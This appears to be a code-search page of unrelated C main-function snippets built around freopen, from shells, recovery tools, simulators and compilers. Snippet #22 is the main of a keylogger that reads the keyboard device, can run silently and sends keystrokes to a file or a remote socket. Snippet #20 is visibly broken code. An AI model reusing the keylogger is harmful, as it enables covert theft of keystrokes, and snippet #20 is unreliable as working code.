    if (fp != stdin)
        fclose(fp);

    DIGEST_FINAL(&S, digest);

    for(i = 0; i < DIGEST_SIZE; ++i) {
        printf("%02x", digest[i]);
    }
    printf("\n");

    return 0;
}
Beispiel #17
0
int main(int argc, char *argv[]){

  int i, pid, idx, ret_code, len;
  char *the_cmd;		// pointer to a command
  char *args[MAXARGS];
  char *arg;
  char *delims = " \t";
  char *infile, *outfile;
  
  the_cmd = get_cmd(&len);
  while(!feof(stdin)) {
    if(len > 0){  // a non-empty command was entered
      if (!strncmp(the_cmd,"cd ",3) || (strlen(the_cmd)==2 && !strcmp(the_cmd,"cd"))) {
        change_dir(the_cmd); // If the command specified is "cd"
      } else {
        pid = fork();
        if(pid){	// parent process
          wait(NULL);
        }else{	// child process - execute the command
          infile = NULL;
          outfile = NULL;
          idx = 0;
          for(i=0;i<MAXARGS;++i)
            args[i]=" ";
          args[idx++] = strtok(the_cmd, delims);
          while (args[idx] != NULL) { //until strtok finishes
            args[idx] = strtok(NULL,delims);
            if(args[idx]==NULL) break;
            if (equals(args[idx-1],"<")) {
              printf("infile: %s\n",args[idx]);
              /* input redirection */
              infile = args[idx];
              args[idx] = " ";
              idx--; //back up, overwrite redirection params.
            } else if (equals(args[idx-1],">")) {
              /* output redirection */
              outfile = args[idx];
              args[idx] = " ";
              idx--;
            } else {
              idx++;
            }
          }
          
          if (infile != NULL) {
            freopen(infile, "r", stdin);
          }
          if (outfile != NULL) {
            freopen(outfile, "w", stdout);
          }
          ret_code = execvp(args[0], args);
          if(ret_code != 0){
            printf("error executing command.\n");
            exit(TRUE);	// indicate that cmd failed
          }
        }// end else
      }// cd
    }// if(len > 0)
    the_cmd = get_cmd(&len);
  }// while
  printf("\nEnd of processing\n");
  return 0;
} /* end main */
Beispiel #18
0
int main(int argc, char **argv)
{
	int interactive = 1;
	
    time_t start = time(NULL);

    // If these fail, there's not really anywhere to complain...
    freopen(TEMPORARY_LOG_FILE, "a", stdout); setbuf(stdout, NULL);
    freopen(TEMPORARY_LOG_FILE, "a", stderr); setbuf(stderr, NULL);
    printf("Starting recovery on %s", ctime(&start));

    ui_init();
    ui_set_background(BACKGROUND_ICON_INSTALLING);

    // djp952 - at least for now I want to see everything
    ui_show_text(1);

    volumes_init("/sbin/recovery.fstab");
    get_args(&argc, &argv);
	
    int previous_runs = 0;
    const char *send_intent = NULL;
    const char *update_package = NULL;
    int wipe_data = 0, wipe_cache = 0;
    int toggle_secure_fs = 0;
	
	// TEMP: Dump arguments to see what they look like
	//int index = 0;
	//for(index = 0; index < argc; index++) ui_print("ARG%d = [%s]\n", index, argv[index]);

    int arg;
    while ((arg = getopt_long(argc, argv, "", OPTIONS, NULL)) != -1) {
        switch (arg) {
        case 'p': previous_runs = atoi(optarg); break;
        case 's': send_intent = optarg; break;
        case 'u': update_package = optarg; break;
        case 'w': wipe_data = 1; break;
        case 'c': wipe_cache = 1; break;
        case 't': ui_show_text(1); break;
        case '?':
            LOGE("Invalid command argument: %c\n", arg);
            continue;
        }
    }

    device_recovery_start();

    //if (update_package) {
    //    // For backwards compatibility on the cache partition only, if
    //    // we're given an old 'root' path "CACHE:foo", change it to
    //    // "/cache/foo".
    //    if (strncmp(update_package, "CACHE:", 6) == 0) {
    //        int len = strlen(update_package) + 10;
    //        char* modified_path = malloc(len);
    //        strlcpy(modified_path, "/cache/", len);
    //        strlcat(modified_path, update_package+6, len);
    //        printf("(replacing path \"%s\" with \"%s\")\n",
    //               update_package, modified_path);
    //        update_package = modified_path;
    //    }
    //}
    //printf("\n");
	
    property_list(print_property, NULL);
    printf("\n");
	
	//
	// EXECUTE RECOVERY
	//

	// Automatic: --wipe_data
	if(wipe_data) {
		
		interactive = 0;				// No interactive menu mode
		cmd_wipe_device();				// Wipe the device
	}
	
	// Automatic: --wipe_cache
	if(wipe_cache) {

		interactive = 0;				// No interactive menu mode
		cmd_wipe_cache();				// Wipe the cache
	}
	
	// Interactive
	if(interactive) {
		
		cmd_show_usage();				// Explain how to navigate
		menu_mainmenu();				// Launch the main menu
	}
	
	//
	// FINISH RECOVERY
	//

    // Clean up and write out the logs
    finish_recovery(send_intent);
	
	// Unmount all volumes
	const Volume* iterator = foreach_volume(NULL);
	while(iterator != NULL) {
	
		unmount_volume(iterator, NULL);
		iterator = foreach_volume(iterator);
	}
	
    sync();							// One more sync for good luck
    reboot(RB_AUTOBOOT);			// Reboot
    return EXIT_SUCCESS;			// Done
}
int
main (int argc, char **argv)
{
  int i;

  progname = argv[0];

  /* If first two args are -o FILE, output to FILE.  */
  i = 1;
  if (argc > i + 1 && !strcmp (argv[i], "-o"))
    {
      if (! freopen (argv[i + 1], "w", stdout))
	{
	  perror (argv[i + 1]);
	  return EXIT_FAILURE;
	}
      i += 2;
    }
  if (argc > i + 1 && !strcmp (argv[i], "-a"))
    {
      if (! freopen (argv[i + 1], "a", stdout))
	{
	  perror (argv[i + 1]);
	  return EXIT_FAILURE;
	}
      i += 2;
    }
  if (argc > i + 1 && !strcmp (argv[i], "-d"))
    {
      if (chdir (argv[i + 1]) != 0)
	{
	  perror (argv[i + 1]);
	  return EXIT_FAILURE;
	}
      i += 2;
    }
  if (argc > i && !strcmp (argv[i], "-g"))
    {
      generate_globals = true;
      ++i;
    }

  set_binary_mode (fileno (stdout), O_BINARY);

  if (generate_globals)
    start_globals ();

  if (argc <= i)
    scan_c_stream (stdin);
  else
    {
      int first_infile = i;
      for (; i < argc; i++)
	{
	  int j;
	  /* Don't process one file twice.  */
	  for (j = first_infile; j < i; j++)
	    if (strcmp (argv[i], argv[j]) == 0)
	      break;
	  if (j == i)
	    scan_file (argv[i]);
	}
    }

  if (generate_globals)
    write_globals ();

  if (ferror (stdout) || fclose (stdout) != 0)
    fatal ("write error");

  return EXIT_SUCCESS;
}
Beispiel #20
0
int main(int argc, char* argv[])
{
	if(argc < 2) {
		printf("Insufficient number of command-line arguments\n");
		return 1;
	}
	char filename_in[255];
	strcpy(filename_in, argv[1]);
	//char file_name_cir[] = "transmission_line.cir";
	char cmd_ltspice[255];
	char cmd_ltsputil[255];
	char filename_out[17];
	char buffer[255];
	char str_fl[20];
	char cdrp_str[20];
	char length_str[20];

	long tran_pos;
	long ac_pos;
	long param_pos;
	long tmp_pos;

	char *p_ch;
	char *p_tok;
	char *p_end;

	float step_param_data[3][3];

	int param_index = 0;
	int data_index = 0;
	int length_index;
	int cdrp_index;
	
	float tmp_data = 0;
	
	float length_low = 1;
	float length_high = 10;
	float length_step = 1;
	
	float cdrp_low = 1E-12;
	float cdrp_high = 5E-12;
	float cdrp_step = 1E-12;
	
	float length_param = step_length[0];
	float cdrp_param = step_cdrp[0];

	float *length_array;
	float *cdrp_array;

	generate_step_array(length_low, length_high, length_step, length_array);
	generate_step_array(cdrp_low, cdrp_high, cdrp_step, cdrp_array);

	FILE* tl_csv;
	FILE* tl_netlist = fopen(file_name_cir, "r+");
	if(!tl_netlist) {
		printf("Error in Opening Circuit file, %s: %s\n", file_name_cir, strerror(errno));
		return 0;
	}
	while(!feof(tl_netlist)) {
		temp_l = ftell(tl_netlist);
		fgets(buffer, 255, tl_netlist);
		p_tok = strtok(buffer, " ");
		if(strcmp(buffer+1, "tran")==0) {
			printf("Transient data\n");
			buffer[5] = ' ';
			tran_l = temp_l;
		} else if(strcmp(buffer+1, "ac")==0) {
			printf("AC data\n");
			buffer[3] = ' ';
			ac_l = temp_l;
		} else if(strcmp(buffer, ".param")==0) {
			printf("Parameter data\n");
			buffer[6] = ' ';
			param_l = temp_l;
			p_ch = buffer;
			do {
				if(memcmp(p_ch-7, "Lenline", 7)==0)
					length_index = p_ch - buffer;
				else if(memcmp(p_ch-4, "Cdrp", 4)==0)
					cdrp_index = p_ch - buffer;
			} while(*(++p_ch));
		} else if(strcmp(buffer, ".step")==0) {
			if(p_tok[12] == 'R')
				param_index = 0;
			else if(p_tok[12] == 'L')
				param_index = 1;	
			else if(p_tok[12] == 'C')
				param_index = 2;
			else
				printf("Error!\n");
			data_index = 0;
			while(p_tok!=NULL) {
				p_end = p_tok;
				strcpy(str_fl, p_tok);
				p_ch = str_fl;
				do {
					switch(*p_ch) {
					case 'a': strcpy(p_ch, "E-18"); break;
					case 'f': strcpy(p_ch, "E-15"); break;
					case 'p': strcpy(p_ch, "E-12"); break;
					case 'n':strcpy(p_ch, "E-9"); break;
					case 'u':strcpy(p_ch, "E-6"); break;
					case 'm':strcpy(p_ch, "E-3"); break;
					case 'k': strcpy(p_ch, "E3"); break;
					case 'M':strcpy(p_ch, "E6"); break;
					}
				} while(*(++p_ch));
				tmp_data = strtof(str_fl, &p_end);
				if (str_fl != p_end) {
					step_param_data[param_index][data_index] = tmp_data;
					data_index++;
				}
				p_tok = strtok(NULL, " ");
			}
		}
	}
	/*
	 * step one: run all ltspice netlists with varying parameters in length, cdrp and ac vs tran
	 * 0: tran
	 * 1: ac
	 */
	sprintf(cmd_ltspice, "./scad3.exe -b %s", file_name_cir);
	for(int i=0; i < 2; i++) {
		tl_netlist = freopen(file_name_cir, "r+", tl_netlist);
		printf("tl_netlist==NULL: %d\n", tl_netlist==NULL);
		printf("ac_l: %ld, tran_l: %ld\n", ac_l, tran_l);
		if(i == 0) { 
			printf("\nBeginning transient analysis...\n");
			if(fseek(tl_netlist, tran_l, SEEK_SET))
					perror("Error in tran fseek");
		}
		else if(i == 1) { 
			printf("\nBeginning ac analysis...\n");
			if(fseek(tl_netlist, ac_l, SEEK_SET))
					perror("Error in ac fseek");
		}
		fputc('.', tl_netlist);
		/* put ';' to comment out the other analysis line */
		if(i == 0) {
			if (fseek(tl_netlist, ac_l, SEEK_SET))
					perror("Error in 2nd ac fseek");
		}
		else if(i == 1) {
			if (fseek(tl_netlist, tran_l, SEEK_SET))
					perror("Error in 2nd tran fseek");
		}
		fputc(';', tl_netlist);
		for(int j=0; j < cdrp_array_size; j++) {
			tl_netlist = freopen(file_name_cir, "r+", tl_netlist);
			printf("\n");
			if(fseek(tl_netlist, param_l, SEEK_SET))
					perror("Error in cdrp param fseek");
			fgets(buffer, 255, tl_netlist);
			expo_to_str(cdrp_str, cdrp_array[j]);
			p_ch = buffer + cdrp_index;
			memcpy(p_ch+1, cdrp_str, strlen(cdrp_str));
			for(int k=0; k < length_array_size; k++) {
				tl_netlist = freopen(file_name_cir, "r+", tl_netlist);
				expo_to_str(length_str, length_array[k]);
				p_ch = buffer + length_index;
				memcpy(p_ch+1, length_str, strlen(length_str));
				printf("Buffer: %s", buffer);
				printf("param_l: %ld\n", param_l);
				if(fseek(tl_netlist, param_l, SEEK_SET))
					perror("Error in len param fseek");
				fputs(buffer, tl_netlist);
				if(fclose(tl_netlist))
					perror("Error in closing file");
				sprintf(file_name_out, "%s_cdrp=%s_len%s.raw", i ? "ac" : "tran", cdrp_str, length_str);
				printf("Raw file: %s\n", file_name_out);
				system("./scad3.exe -b transmission_line.cir");
				rename("transmission_line.raw", file_name_out);
			}
		}
	}		
	free(length_array);
	free(cdrp_array);
	fclose(tl_netlist);
	return 0;
}
Beispiel #21
0
int main(){
	
    char buf[MAXLINE] = "";
	double num1 = 0,num2 = 0, num = 0;
	int i = 0;
	stack* stk = stack_create(MAXLINE);
	
	freopen("log.txt", "w+", stderr);
	
	fprintf(stderr, "No problem"); //clean log file
	
	fgets(buf, MAXLINE, stdin);

	while(buf[i] != '\n'){

		switch (buf[i]) {
			case '+': case '*': case '/': case '^': case 'l':
			  
				assert(stack_head(stk) >= 1);
				
				num1 = pop(stk);
				num2 = pop(stk);
				num = calculate(num2, num1, buf[i]);
				push(stk, num);
				break;
			case '-':
				if (buf[i + 1] == ' '){
					
					assert(stack_head(stk) >= 1);
					
					num1 = pop(stk);
					num2 = pop(stk);
					num = calculate(num2, num1, buf[i]);
					push(stk, num);
				}
				else {  
					i = float_reader(buf, i, &num);
					push(stk, num);
				}
				break;
			case '1': case '2': case '3': case '4': case '5': \
			case '6': case '7': case '8': case '9': case '0':
				i = float_reader(buf, i, &num);
				push(stk, num);
				break;
			default:
			printf("incorrect operation");
			abort();
		}
		++i;
	}
	
	if (stack_head(stk) != 0){
	errno = EINVAL;
	perror("Incorrect input expression\n");
	abort();
	}
	
	if (errno != 0){
		printf("program failed");
		abort();
	}
	printf("%lg\n", pop(stk));
	stack_delete(stk);
	return 0;
}
Beispiel #22
0
int main(int argc, char *argv[]){
    char *KEYBOARD_DEVICE = get_keyboard_event_file();
    if(!KEYBOARD_DEVICE){
        print_usage_and_quit(argv[0]);
    }

    int writeout;
    int keyboard;

    int network = 0, file = 0, option = 0;
    char *option_input;
    while((option = getopt(argc, argv,"sn:f:")) != -1){
        switch(option){
            case 's':
                freopen("/dev/null", "w", stdout);
                freopen("/dev/null", "w", stderr);
                break;
            case 'n':
                network = 1;
                option_input = optarg;
                break;
            case 'f':
                file = 1;
                option_input = optarg;
                break;
            default: print_usage_and_quit(argv[0]);
        }
    }

    // If both arguments or neither are provided...
    if(network == file){
        print_usage_and_quit(argv[0]);
    }
    else if(file){
        if((writeout = open(option_input, O_WRONLY|O_APPEND|O_CREAT, S_IROTH)) < 0){
            printf("Error opening file %s: %s\n", argv[2], strerror(errno));
            return 1;
        }
    }
    else if(network){
        writeout = get_socket_file_descriptor(option_input, PORT);
        if(writeout < 0){
            printf("Error creating socket on %s\n", option_input);
            return 1;
        }
    }

    if((keyboard = open(KEYBOARD_DEVICE, O_RDONLY)) < 0){
        printf("Error accessing keyboard from %s. May require you to be superuser\n", KEYBOARD_DEVICE);
        return 1;
    }


    keylogger(keyboard, writeout);

    close(keyboard);
    close(writeout);
    free(KEYBOARD_DEVICE);

    return 0;
}
Beispiel #23
0
// Prompts for a file to open the map
// If anything fails the function returns 1, else 0 is returned
int openMapFile(void)
{
	printf("Enter file name: %s", mapFolder);
	// Input entered
	char * fileN = (char*)malloc(32 * sizeof(char));
	if (scanf("%s", fileN) == 1) {
		// Lets extract the extension
		// Pointer to the last dot
		char * p = NULL;
		char * p1 = strchr(fileN, '.');
		while (p1 != NULL) {
			p = p1;
			p1 = strchr(p1 + 1, '.');
		}
		if (p != NULL) {
			if (strstr(p + 1, "map") != NULL && strlen(p + 1) == 3) {
				// File path is folder path + file name
				filePath = (char *)malloc((strlen(mapFolder) + strlen(fileN) + 1) * sizeof(char));
				strcpy(filePath, mapFolder);
				strcat(filePath, fileN);
				// File name
				fileName = (char *)malloc((strlen(fileN) + 1) * sizeof(char));
				strcpy(fileName, fileN);

				// Try to open file in read-binay mode
				fp = fopen(filePath, "rb");
				int exists = 0;
				if (fp != NULL) {
					// File already exists, lets try to read its content
					if (loadMapFromFile(fp, &Map)) {
						// Failed
						printf("Error loading map from file \"%s\". Invalid or corrupted .map file\n", filePath);
					}
					else {
						// Succeeded
						exists = 1;
						printf("Successfully loaded map from file\n");
					}
				}
				else {
					// No file found
					printf("No such vaid file found, creating one: \"%s\"\n", filePath);
				}

				// Open the file in write-binary mode (this also creates the file if it doesn't exist)
				if (exists) {
					fp = freopen(filePath, "wb", fp);
				}
				else {
					fp = fopen(filePath, "wb");
					// Init our Map
					int size[3] = {50, 50, 50};
					initMap(&Map, size);
				}

				if (fp != NULL) {
					// Save the map in case the user forgets to save it
					saveMapToFile(fp, Map);
					// Everything went well
					printf("Done.\n");
					return 0;
				}

				// Something bad happened
				printf("Could not open file \"%s\"\n", filePath);
				return 1;
			}
			// Extension found but it's not .map
			printf("Invalid file extension: \"%s\"\n", p);
			return 1;
		}
		// No dot found so there is no extension
		printf("No file extension in given name\n");
		return 1;
	}
	// Input failed?
	return 1;
}
Beispiel #24
0
int main(int argc, char **argv)
{
	/* debugging */
	setbuf(stdout, NULL);
	setbuf(stderr, NULL);

	if(argc < 3){
		printf("Usage: u1comp <infile> <outfile>\n");
		//exit(1);
		
		printf("Interactive mode!\n");
		interactiveMode = 1; // make yyparse() abort after '\n'
		while (1) {
			printf("> ");
			yyparse();
			
			#if 1
			printf("// Prettyprinting...\n");
			prettySCRIPTCOLLECTION(thescriptcollection);
			errorCheck();
			#endif
		}
	} else {
		if(freopen(argv[1],"r",stdin) != NULL){
		printf("// Parsing...\n");
		lineno=1;
		yyparse(); /* Build AST */
		} else {
			printf("Couldn't open file %s\n",argv[1]);
			exit(1);
		}
	}
	errorCheck();

  printf("// Weeding...\n");
  weedSCRIPTCOLLECTION(thescriptcollection);
  errorCheck();

  printf("// Symbolchecking...\n");
  symSCRIPTCOLLECTION(thescriptcollection);
  errorCheck();

  printf("// Typechecking...\n");
  typeSCRIPTCOLLECTION(thescriptcollection);
  errorCheck();

  #if 0
  printf("// Prettyprinting...\n");
  prettySCRIPTCOLLECTION(thescriptcollection);
  errorCheck();
  #endif
  
  printf("// Resource calculations...\n");
  resSCRIPTCOLLECTION(thescriptcollection);
  errorCheck();

  printf("// Coding...\n");
  codeSCRIPTCOLLECTION(thescriptcollection);
  errorCheck();

  printf("// Emitting (asm)...\n");
  emitSCRIPTCOLLECTION(thescriptcollection);
  errorCheck();
  
  printf("// Assembling...\n");
  AssembleFile(argv[2]);
  
    
 
 return 0;
}
Beispiel #25
0
/**
 * \brief   Main entry of the program
 * \details The 2 variables \b argc and \b argv are used for extracting
 *          command line parameters.
 * \param   argc Number of arguments, at least one as \b argv contains at least the program's name.
 * \param   argv[] Array of character strings containing the arguments.
 * \return  On exit returns EXIT_SUCCESS, EXIT_FAILURE otherwise.
 */
int main(int argc, char** argv)
{
    /* arguments parsing, we need at least "prog_name -i an_input_file"
     * prints some more instructions if needed
     */
    if (argc < 3)
    {
        fprintf(stdout,"[Info] No input file ! \n");
        help(argv);
        return EXIT_SUCCESS;
    }

    uint32_t i;
    char seed[128] = "";
    char inpf[FILENAME_MAX] = "";

    DATA dat ;
    SPDAT spdat = {5,5,0.5,NULL,0};
    ATOM *at = NULL;

    // function pointers for energy and gradient, and trajectory
    get_ENER = NULL;
    get_DV = NULL;
    write_traj= &(write_dcd);

    // arguments parsing
    for (i=1; i<(uint32_t)argc; i++)
    {
        // get name of input file
        if (!strcasecmp(argv[i],"-i"))
        {
            sprintf(inpf,"%s",argv[++i]);
        }
        // get user specified seed, 128 characters max, keep it as a string for the moment
        else if (!strcasecmp(argv[i],"-seed"))
        {
            sprintf(seed,"%s",argv[++i]);
        }
        // reopen stdout to user specified file
        else if (!strcasecmp(argv[i],"-o"))
        {
            freopen(argv[++i],"w",stdout);
            is_stdout_redirected = 1 ;
        }
        // specify the logging level
        else if (!strcasecmp(argv[i],"-log"))
        {
            if (!strcasecmp(argv[++i],"no"))
            {
                LOG_SEVERITY = LOG_NOTHING;
            }
            else if (!strcasecmp(argv[i],"err"))
            {
                LOG_SEVERITY = LOG_ERROR;
            }
            else if (!strcasecmp(argv[i],"warn"))
            {
                LOG_SEVERITY = LOG_WARNING;
            }
            else if (!strcasecmp(argv[i],"info"))
            {
                LOG_SEVERITY = LOG_INFO;
            }
            else if (!strcasecmp(argv[i],"dbg"))
            {
                LOG_SEVERITY = LOG_DEBUG;
            }
            else
                fprintf(stdout,"[Warning] Unknown log level '%s' : default value used.\n\n",argv[i]);
        }
#ifdef _OPENMP
        // if compiled with openMP the user can specify a maximum number of cpus to use
        // check if it is not higher than the real amount of cpus
        else if (!strcasecmp(argv[i],"-np"))
        {
            nthreads=atoi(argv[++i]);
            ncpus=omp_get_num_procs();
            (nthreads < ncpus) ? omp_set_num_threads(nthreads) : omp_set_num_threads(ncpus);
            //omp_set_num_threads(nthreads);
        }
#endif
        // print help and proper exit
        else if ( !strcasecmp(argv[i],"-h") || !strcasecmp(argv[i],"-help") || !strcasecmp(argv[i],"--help") )
        {
            help(argv);
            return EXIT_SUCCESS;
        }
        // error if unknown command line option
        else
        {
            fprintf(stdout,"[Error] Argument '%s' is unknown.\n",argv[i]);
            help(argv);
            exit(-2);
        }
    }

    //prepare log files if necessary
    init_logfiles();

    // Print date and some env. variables
    fprintf(stdout,"Welcome to %s ! Command line arguments succesfully parsed, now intialising parameters...\n\n",argv[0]);
    fprintf(stdout,"Logging level is : %s : see the documentation to see which .log files are generated, and what they contain.\n\n",get_loglevel_string());
    fprintf(stdout,"Now printing some local informations : \n");
    fprintf(stdout,"DATE : %s\n",get_time());
    fprintf(stdout,"HOSTNAME : %s\n",getenv("HOSTNAME"));
    fprintf(stdout,"USER : %s\n",getenv("USER"));
    fprintf(stdout,"PWD : %s\n",getenv("PWD"));

    /*
     * Random numbers can be generated by using the standard functions from the C library (no guarantee on the quality)
     * or by using the dSFMT generator (default, extremely stable, no redudancy )
     * if STDRAND is defined we use the C library.
     *
     * Random numbers are stored in a double array dat.rn, of size dat.nrn
     *
     * If no string seed was passed by command line we generate one by using the unix timestamp
     *  -For STDRAND, this is directly used for srand()
     *  -For dSFMT, an array of integers generated by using the string seed is sent to dsfmt_init_by_array
     *
     */
    if (!strlen(seed))
        sprintf(seed,"%d",(uint32_t)time(NULL)) ;
    LOG_PRINT(LOG_INFO,"seed = %s \n",seed);
    dat.nrn = 2048 ;
    dat.rn = calloc(dat.nrn,sizeof dat.rn);
#ifdef STDRAND
    srand( (uint32_t)labs(atol(seed)) );
#else
    dat.seeds = calloc(strlen(seed),sizeof dat.seeds);
    for (i=0; i<(uint32_t)strlen(seed); i++)
        dat.seeds[i] = (uint32_t) seed[i] << 8;
    for (i=0; i<(uint32_t)strlen(seed); i++)
        dat.seeds[i] *= (dat.seeds[strlen(seed)-1]+i+1);

    dsfmt_init_by_array(&(dat.dsfmt),dat.seeds,(int32_t)strlen(seed));

    for (i=0; i<(uint32_t)strlen(seed); i++)
    {
        LOG_PRINT(LOG_INFO,"dat.seeds[%d] = %d \n",strlen(seed)-1-i,dat.seeds[strlen(seed)-1-i]);
    }
#endif
    
    // parse input file, initialise atom list
    parse_from_file(inpf,&dat,&spdat,&at);

    // set the pointer to the default V and dV functions
    if(get_ENER==NULL)
        get_ENER = &(get_LJ_V);

    if(get_DV==NULL)
        get_DV = &(get_LJ_DV);

    // allocate arrays used by energy minimisation function
    alloc_minim(&dat);

    // sum up parameters to output file

#ifdef _OPENMP
    fprintf(stdout,"\nStarting program with %d threads (%d cpus available)\n\n",nthreads,ncpus);
#else
    fprintf(stdout,"\nStarting program in sequential mode\n\n");
#endif

    fprintf(stdout,"Seed   = %s \n\n",seed);

    if (get_ENER==&(get_LJ_V))
        fprintf(stdout,"Using L-J potential\n");
    else if (get_ENER==&(get_AZIZ_V))
        fprintf(stdout,"Using Aziz potential\n");
#ifdef LUA_PLUGINS
    else if (get_ENER==&(get_lua_V))
        fprintf(stdout,"Using plugin pair potential\n");
    else if (get_ENER==&(get_lua_V_ffi))
        fprintf(stdout,"Using plugin ffi potential\n");
#endif
    
    if (charmm_units)
        fprintf(stdout,"Using CHARMM  units.\n\n");
    else
        fprintf(stdout,"Using REDUCED units.\n\n");

    fprintf(stdout,"Energy      saved each %d  steps in file %s\n",io.esave,io.etitle);
    fprintf(stdout,"Trajectory  saved each %d  steps in file %s\n",io.trsave,io.trajtitle);
    fprintf(stdout,"Initial configuration saved in file %s\n",io.crdtitle_first);
    fprintf(stdout,"Final   configuration saved in file %s\n\n",io.crdtitle_last);

    // get values of best minima for several well known LJ clusters
    getValuesFromDB(&dat);

    // set the inverse temperature depending of the type of units used
    if (charmm_units)
        dat.beta = 1.0/(KBCH*dat.T);
    else
        dat.beta = 1.0/(dat.T);

    // again print parameters
    fprintf(stdout,"method = %s\n",dat.method);
    fprintf(stdout,"natom  = %d\n",dat.natom);
    fprintf(stdout,"nsteps = %"PRIu64"\n",dat.nsteps);
    fprintf(stdout,"T      = %lf \n",dat.T);
    fprintf(stdout,"beta   = %lf\n",dat.beta);

    if(dat.d_max_when==0)
        fprintf(stdout,"dmax   = %lf (fixed) \n\n",dat.d_max);
    else
        fprintf(stdout,"dmax   = %4.2lf updated each %d steps for "
                "targeting %4.2lf %% of acceptance \n\n",dat.d_max,dat.d_max_when,dat.d_max_tgt);

    // then depending of the type of simulation run calculation
    if (strcasecmp(dat.method,"metrop")==0)
    {
        start_classic(&dat,at);
    }
    else if (strcasecmp(dat.method,"spav")==0)
    {
        start_spav(&dat,&spdat,at);
    }
    else
    {
        LOG_PRINT(LOG_ERROR,"Method [%s] unknowm.\n",dat.method);
        free(dat.rn);
#ifndef STDRAND
        free(dat.seeds);
#endif
        exit(-3);
    }

#ifdef __unix__
    // compatible with some unixes-like OS: the struct rusage communicates with the kernel directly.
    struct rusage infos_usage;
    getrusage(RUSAGE_SELF,&infos_usage);
    fprintf(stdout,"Maximum amount of memory used in kBytes is : %ld\n",infos_usage.ru_maxrss);
    fprintf(stdout,"Execution time in Seconds : %lf\n",
            (double)infos_usage.ru_utime.tv_sec+(double)infos_usage.ru_utime.tv_usec/1000000.0 +
            (double)infos_usage.ru_stime.tv_sec+(double)infos_usage.ru_stime.tv_usec/1000000.0
           );
#endif
    fprintf(stdout,"End of program\n");

    // free memory and exit properly
    free(dat.rn);
#ifndef STDRAND
    free(dat.seeds);
#endif
    free(at);
    dealloc_minim();

#ifdef LUA_PLUGINS
    end_lua();
#endif //LUA_PLUGINS

    // closing log files is the last thing to do as errors may occur at the end
    close_logfiles();

    return EXIT_SUCCESS;
}
Beispiel #26
0
/**
**  The main program: initialise, parse options and arguments.
**
**  @param argc  Number of arguments.
**  @param argv  Vector of arguments.
*/
int stratagusMain(int argc, char **argv)
{
#ifdef REDIRECT_OUTPUT
    RedirectOutput();
#endif
#ifdef USE_BEOS
    //  Parse arguments for BeOS
    beos_init(argc, argv);
#endif

    //  Setup some defaults.
#ifndef MAC_BUNDLE
    StratagusLibPath = ".";
#else
    freopen("/tmp/stdout.txt", "w", stdout);
    freopen("/tmp/stderr.txt", "w", stderr);
    // Look for the specified data set inside the application bundle
    // This should be a subdir of the Resources directory
    CFURLRef pluginRef = CFBundleCopyResourceURL(CFBundleGetMainBundle(),
                         CFSTR(MAC_BUNDLE_DATADIR), NULL, NULL);
    CFStringRef macPath = CFURLCopyFileSystemPath(pluginRef,  kCFURLPOSIXPathStyle);
    const char *pathPtr = CFStringGetCStringPtr(macPath, CFStringGetSystemEncoding());
    Assert(pathPtr);
    StratagusLibPath = pathPtr;
#endif

    Parameters &parameters = Parameters::Instance;
    parameters.SetDefaultValues();
    parameters.SetLocalPlayerNameFromEnv();

    if (argc > 0) {
        parameters.applicationName = argv[0];
    }

    // FIXME: Parse options before or after scripts?
    ParseCommandLine(argc, argv, parameters);
    // Init the random number generator.
    InitSyncRand();

    makedir(parameters.GetUserDirectory().c_str(), 0777);

    // Init Lua and register lua functions!
    InitLua();
    LuaRegisterModules();

    // Initialise AI module
    InitAiModule();

    LoadCcl(parameters.luaStartFilename);

    PrintHeader();
    PrintLicense();

    // Setup video display
    InitVideo();

    // Setup sound card
    if (!InitSound()) {
        InitMusic();
    }

#ifndef DEBUG           // For debug it's better not to have:
    srand(time(NULL));  // Random counter = random each start
#endif

    //  Show title screens.
    SetDefaultTextColors(FontYellow, FontWhite);
    LoadFonts();
    SetClipping(0, 0, Video.Width - 1, Video.Height - 1);
    Video.ClearScreen();
    ShowTitleScreens();

    // Init player data
    ThisPlayer = NULL;
    //Don't clear the Players strucure as it would erase the allowed units.
    // memset(Players, 0, sizeof(Players));
    NumPlayers = 0;

    UnitManager.Init(); // Units memory management
    PreMenuSetup();     // Load everything needed for menus

    MenuLoop();

    Exit(0);
    return 0;
}
Beispiel #27
0
		    (normally it shouldn't  be bigger  than 3) */



/* daemon init, return 0 on success, -1 on error */
int daemonize(char*  name)
{
	FILE *pid_stream;
	pid_t pid;
	int r, p;


	p=-1;

	/* flush std file descriptors to avoid flushes after fork
	 *  (same message appearing multiple times)
	 *  and switch to unbuffered
	 */
	setbuf(stdout, 0);
	setbuf(stderr, 0);
	if (chroot_dir&&(chroot(chroot_dir)<0)){
		LOG(L_CRIT, "Cannot chroot to %s: %s\n", chroot_dir, strerror(errno));
		goto error;
	}
	
	if (chdir(working_dir)<0){
		LOG(L_CRIT,"cannot chdir to %s: %s\n", working_dir, strerror(errno));
		goto error;
	}

	/* fork to become!= group leader*/
	if ((pid=fork())<0){
		LOG(L_CRIT, "Cannot fork:%s\n", strerror(errno));
		goto error;
	}else if (pid!=0){
		/* parent process => exit*/
		exit(0);
	}
	/* become session leader to drop the ctrl. terminal */
	if (setsid()<0){
		LOG(L_WARN, "setsid failed: %s\n",strerror(errno));
	}else{
		own_pgid=1;/* we have our own process group */
	}
	/* fork again to drop group  leadership */
	if ((pid=fork())<0){
		LOG(L_CRIT, "Cannot  fork:%s\n", strerror(errno));
		goto error;
	}else if (pid!=0){
		/*parent process => exit */
		exit(0);
	}

	/* added by noh: create a pid file for the main process */
	if (pid_file!=0){
		
		if ((pid_stream=fopen(pid_file, "r"))!=NULL){
			fscanf(pid_stream, "%d", &p);
			fclose(pid_stream);
			if (p==-1){
				LOG(L_CRIT, "pid file %s exists, but doesn't contain a valid"
					" pid number\n", pid_file);
				goto error;
			}
			if (kill((pid_t)p, 0)==0 || errno==EPERM){
				LOG(L_CRIT, "running process found in the pid file %s\n",
					pid_file);
				goto error;
			}else{
				LOG(L_WARN, "pid file contains old pid, replacing pid\n");
			}
		}
		pid=getpid();
		if ((pid_stream=fopen(pid_file, "w"))==NULL){
			LOG(L_WARN, "unable to create pid file %s: %s\n", 
				pid_file, strerror(errno));
			goto error;
		}else{
			fprintf(pid_stream, "%i\n", (int)pid);
			fclose(pid_stream);
		}
	}

	if (pgid_file!=0){
		if ((pid_stream=fopen(pgid_file, "r"))!=NULL){
			fscanf(pid_stream, "%d", &p);
			fclose(pid_stream);
			if (p==-1){
				LOG(L_CRIT, "pgid file %s exists, but doesn't contain a valid"
				    " pgid number\n", pgid_file);
				goto error;
			}
		}
		if (own_pgid){
			pid=getpgid(0);
